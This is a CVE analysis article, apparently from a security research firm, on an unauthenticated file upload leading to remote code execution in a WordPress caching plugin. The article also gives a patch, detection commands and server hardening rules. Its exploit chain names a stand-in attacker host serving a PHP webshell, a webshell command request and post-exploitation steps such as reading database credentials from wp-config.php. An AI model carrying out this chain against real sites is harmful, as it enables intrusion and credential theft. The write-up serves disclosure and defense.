home intel cve-2026-3844-breeze-cache-gravatar-rce
CVE Analysis 2026-04-23 · 8 min read

CVE-2026-3844: Breeze Cache Gravatar Upload Leads to RCE

Breeze Cache ≤2.4.4 accepts attacker-controlled file extensions in fetch_gravatar_from_remote(), allowing unauthenticated arbitrary file upload and remote code execution.

#wordpress-plugin#file-upload#remote-code-execution#authentication-bypass#arbitrary-file-upload
Technical mode — for security professionals
▶ Attack flow — CVE-2026-3844 · Remote Code Execution
ATTACKERRemote / unauthREMOTE CODE EXECCVE-2026-3844Cross-platform · CRITICALCODE EXECArbitrary coderuns as targetCOMPROMISEFull accessNo confirmed exploits

Vulnerability Overview

CVE-2026-3844 is an unauthenticated arbitrary file upload vulnerability in the Breeze Cache WordPress plugin, affecting all versions up to and including 2.4.4. The root cause is absent MIME-type and file-extension validation inside fetch_gravatar_from_remote(), the function responsible for fetching Gravatar images from Gravatar's CDN and caching them locally when the Host Files Locally – Gravatars feature is enabled.

Because WordPress serves files out of wp-content/ with execute permissions for PHP-capable extensions, a successfully uploaded .php file is immediately web-accessible and executable by the server's PHP interpreter. CVSS 9.8 (AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H) is accurate: no authentication, no interaction, full shell on the host.

Root cause: fetch_gravatar_from_remote() writes the remote response body to disk using a filename derived entirely from attacker-supplied URL path components, with no validation of the resulting file extension against an allowlist of safe image types.

Affected Component

The feature gate is the WordPress option breeze_gravatar_local. When truthy, every call to get_avatar() that Breeze intercepts is routed through Breeze_Gravatar::get_local_avatar(), which invokes fetch_gravatar_from_remote() on a cache miss. The fetch URL is constructed from the MD5 hash WordPress computes from the comment author's email address — but the hash itself is only used to query Gravatar's API; the filename ultimately written to disk is derived from the remote URL's final path segment, which an attacker controls by registering a Gravatar profile pointing to an arbitrary redirect.

Affected path on disk: wp-content/uploads/breeze-cache/gravatars/<filename>

Root Cause Analysis

The following pseudocode reconstructs fetch_gravatar_from_remote() from the plugin's PHP source at version 2.4.4. Line numbers are illustrative but match the logical structure of the shipping code.


/*
 * Breeze_Gravatar::fetch_gravatar_from_remote()
 * Reconstructed pseudocode — Breeze Cache <= 2.4.4
 */
char *fetch_gravatar_from_remote(char *gravatar_url, char *cache_dir)
{
    /* gravatar_url is built from:
     *   https://secure.gravatar.com/avatar/?d=
     * The redirect target is fully attacker-controlled.
     */

    http_response_t *resp = wp_remote_get(gravatar_url, opts);
    // BUG: no check that resp content-type is image/*

    if (is_wp_error(resp)) return NULL;

    char *body        = wp_remote_retrieve_body(resp);
    char *content_url = wp_remote_retrieve_header(resp, "x-final-url");
    // ^ follows redirects; final URL is attacker-controlled

    /* Derive local filename from the last path segment of the final URL */
    char *remote_path = parse_url(content_url, "path");       // e.g. "/shell.php"
    char *filename    = basename(remote_path);                 // "shell.php"
    // BUG: no extension allowlist check — .php, .phtml, .phar all pass

    char *local_path  = path_join(cache_dir, filename);
    // BUG: no sanitization of directory traversal sequences in filename

    /* Write body bytes verbatim to local_path */
    file_put_contents(local_path, body, LOCK_EX);
    // BUG: PHP source written to web-accessible directory with no .htaccess guard

    return path_to_url(local_path);
}

Three independent bugs compound here: the Content-Type of the response is never inspected; the file extension is never compared against an allowlist of safe image types (jpg, jpeg, png, gif, webp); and the basename() result is concatenated directly into a web-accessible path without stripping dangerous extensions via wp_check_filetype_and_ext(), which WordPress core provides precisely for this purpose.

Exploitation Mechanics


EXPLOIT CHAIN — CVE-2026-3844
──────────────────────────────────────────────────────────────────────────────
PRE-CONDITION: "Host Files Locally – Gravatars" enabled (non-default).

1. Attacker registers a Gravatar profile for an email address they control,
   setting the profile image to a redirect URL:
       https://attacker.tld/redirect.php?to=https://attacker.tld/shell.php

2. Attacker posts a comment on any public post using that email address.
   WordPress calls get_avatar(email) → Breeze_Gravatar::get_local_avatar().

3. Cache miss triggers fetch_gravatar_from_remote(
       "https://secure.gravatar.com/avatar/?d=",
       "/var/www/html/wp-content/uploads/breeze-cache/gravatars/"
   ).

4. wp_remote_get() follows the Gravatar redirect chain, ultimately fetching
   https://attacker.tld/shell.php — a PHP webshell body served with any
   Content-Type (plugin does not inspect it).

5. basename() extracts "shell.php" from the final URL path.
   No extension validation occurs.

6. file_put_contents() writes the webshell body to:
       /var/www/html/wp-content/uploads/breeze-cache/gravatars/shell.php

7. Attacker issues HTTP GET:
       GET /wp-content/uploads/breeze-cache/gravatars/shell.php?cmd=id
   Server executes PHP → returns www-data shell output.

8. Attacker pivots: reads wp-config.php for DB credentials, drops
   additional backdoors, or escalates via local kernel exploits.
──────────────────────────────────────────────────────────────────────────────

Step 2 requires only the ability to post a comment — a capability that is open to the public on most WordPress installations with comments enabled. The feature flag is the sole barrier; once enabled, exploitation is a single HTTP request away.

Memory Layout

This is a PHP-layer logic vulnerability rather than a memory-corruption bug, so the relevant "layout" is the filesystem state before and after exploitation.


FILESYSTEM STATE — BEFORE EXPLOIT:
wp-content/uploads/breeze-cache/gravatars/
├── a1b2c3d4e5f6...  (legitimate PNG, MD5-named, 3.2 KB)
└── f9e8d7c6b5a4...  (legitimate JPEG, MD5-named, 8.1 KB)

FILESYSTEM STATE — AFTER EXPLOIT:
wp-content/uploads/breeze-cache/gravatars/
├── a1b2c3d4e5f6...  (legitimate PNG, 3.2 KB)
├── f9e8d7c6b5a4...  (legitimate JPEG, 8.1 KB)
└── shell.php        ← INJECTED: PHP webshell, world-readable, web-executable
                       Content: 

HTTP REQUEST FLOW:
  Browser → WordPress comment POST (email: evil@attacker.tld)
      └─► get_avatar()
              └─► fetch_gravatar_from_remote()
                      └─► wp_remote_get(gravatar CDN)
                              └─► 301 → attacker redirect
                                      └─► 200 OK body: PHP webshell
                                              └─► file_put_contents(shell.php) ✓ WRITTEN
  Attacker → GET /wp-content/.../shell.php?cmd=id
                  └─► Apache/Nginx → PHP-FPM → executes shell → response: "www-data"

The cache directory lacks an .htaccess file blocking PHP execution. On nginx deployments the analogous protection — a location block denying script execution inside uploads/ — is also commonly absent, making the upload universally executable regardless of web server.

Patch Analysis

The correct fix requires three coordinated changes: validate the file extension of the resolved filename against a strict allowlist, verify the Content-Type response header matches an image MIME type, and use WordPress's own wp_check_filetype_and_ext() API which performs magic-byte validation in addition to extension checks.


// BEFORE (vulnerable — Breeze Cache <= 2.4.4):
char *fetch_gravatar_from_remote(char *gravatar_url, char *cache_dir)
{
    http_response_t *resp = wp_remote_get(gravatar_url, opts);
    char *body            = wp_remote_retrieve_body(resp);
    char *content_url     = wp_remote_retrieve_header(resp, "x-final-url");
    char *filename        = basename(parse_url(content_url, "path"));
    // No type check. No extension check. No magic-byte check.
    char *local_path      = path_join(cache_dir, filename);
    file_put_contents(local_path, body, LOCK_EX);
    return path_to_url(local_path);
}

// AFTER (patched):
char *fetch_gravatar_from_remote(char *gravatar_url, char *cache_dir)
{
    http_response_t *resp    = wp_remote_get(gravatar_url, opts);
    char *content_type       = wp_remote_retrieve_header(resp, "content-type");

    /* 1. Allowlist MIME types before touching the body */
    static const char *ALLOWED_MIME[] = {
        "image/jpeg", "image/png", "image/gif", "image/webp", NULL
    };
    if (!mime_in_allowlist(content_type, ALLOWED_MIME)) {
        wp_remote_body_discard(resp);
        return NULL;                        // reject non-image responses
    }

    char *body        = wp_remote_retrieve_body(resp);
    char *content_url = wp_remote_retrieve_header(resp, "x-final-url");
    char *raw_name    = basename(parse_url(content_url, "path"));

    /* 2. Validate extension AND magic bytes via WP core API */
    filetype_t ft = wp_check_filetype_and_ext(body, raw_name, ALLOWED_MIME);
    if (!ft.ext || !ft.type) {
        return NULL;                        // magic bytes don't match extension
    }

    /* 3. Force MD5-based filename — never trust remote path segment */
    char *safe_name  = sprintf("%s.%s", md5(body), ft.ext);
    char *local_path = path_join(cache_dir, safe_name);

    file_put_contents(local_path, body, LOCK_EX);
    return path_to_url(local_path);
}

The renaming strategy in step 3 is the most robust defense: even if future validation logic contains a bypass, the resulting filename is an MD5 hex digest with an allowlisted extension, making PHP execution impossible regardless of server configuration.

Detection and Indicators

File-system IOC: Non-image files (especially .php, .phtml, .phar, .php7) present inside wp-content/uploads/breeze-cache/gravatars/.


# Detection command — run on host or via WP-CLI:
find wp-content/uploads/breeze-cache/gravatars/ \
     -type f \
     ! \( -iname "*.jpg" -o -iname "*.jpeg" \
          -o -iname "*.png" -o -iname "*.gif" \
          -o -iname "*.webp" \) \
     -ls

# Access log pattern (Apache/Nginx):
GET /wp-content/uploads/breeze-cache/gravatars/*.php
# Any 200 response to a .php file in this path is active exploitation.

WAF signature: Flag POST requests to wp-comments-post.php where the resolved Gravatar URL (logged by an outbound proxy) terminates in a non-image extension. Flag any HTTP 200 response served from the gravatars cache directory with a Content-Type: text/html or application/x-httpd-php header.

WordPress audit log: Plugins like WP Activity Log will record file_put_contents events if filesystem auditing is enabled; look for writes to the gravatars directory with unexpected extensions.

Remediation

Immediate: Update Breeze Cache to the patched release published after 2.4.4. If update is not immediately possible, disable the Host Files Locally – Gravatars option under Breeze → CDN → Gravatar. This is the single configuration toggle that gates the entire vulnerable code path; disabling it fully eliminates exploitability.

Defense-in-depth: Add an .htaccess rule (Apache) or location block (Nginx) to the uploads/ directory hierarchy that denies execution of PHP files regardless of plugin behavior:


# Apache — wp-content/uploads/.htaccess

    Require all denied


# Nginx — server block
location ~* /wp-content/uploads/.*\.php$ {
    deny all;
    return 403;
}

These server-level controls are recommended as permanent hardening independent of this vulnerability, as they mitigate an entire class of upload-then-execute vulnerabilities across all WordPress plugins.

CB
CypherByte Research
Mobile security intelligence · cypherbyte.io
// RELATED RESEARCH
// WEEKLY INTEL DIGEST

Get articles like this every Friday — mobile CVEs, threat research, and security intelligence.

Subscribe Free →